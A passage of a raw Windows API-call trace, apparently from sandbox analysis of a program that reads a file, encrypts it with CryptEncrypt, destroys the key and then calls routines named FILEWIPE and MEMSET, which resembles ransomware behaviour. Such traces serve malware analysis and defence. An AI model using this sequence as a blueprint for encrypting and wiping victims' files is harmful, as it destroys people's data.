lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.026] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.026] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xec23, lpOverlapped=0x0) returned 1 [0024.028] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.030] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.030] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.031] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.031] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.031] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.031] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.031] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.031] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.031] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.031] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.032] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0024.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b2c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0024.033] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0024.033] CryptGetKeyParam (in: hKey=0xe8f4061c30, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.033] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.034] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.034] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.034] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.034] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.035] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.035] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xec23, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xec30) returned 1 [0024.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.035] CharLowerBuffW (in: lpsz="byte[60465]", cchLength=0xb | out: lpsz="byte[60465]") returned 0xb [0024.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 1 [0024.036] TranslateMessage (lpMsg=0xe8f3dfe760) returned 0 [0024.036] DispatchMessageW (lpMsg=0xe8f3dfe760) returned 0x0 [0024.036] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfdd90) returned 1 [0024.037] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0024.037] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0024.037] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.037] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.037] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.038] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0024.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417aba0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0024.038] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0024.038] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41ece60*, pdwDataLen=0xe8f3dfdf68*=0xec23, dwBufLen=0xec30 | out: pbData=0xe8f41ece60*, pdwDataLen=0xe8f3dfdf68*=0xec30) returned 1 [0024.039] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.040] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.040] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.040] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.041] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.041] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.041] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.041] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.041] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.041] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.041] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.041] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.047] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.047] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.047] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.047] CryptDestroyKey (hKey=0xe8f4061c30) returned 1 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.047] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.047] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.047] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.047] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.048] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.048] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.048] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.048] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.048] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.048] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.048] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.048] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.051] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.051] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.052] CharLowerBuffW (in: lpsz="byte[60451]", cchLength=0xb | out: lpsz="byte[60451]") returned 0xb [0024.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.053] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.053] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.053] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.053] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.053] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.053] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 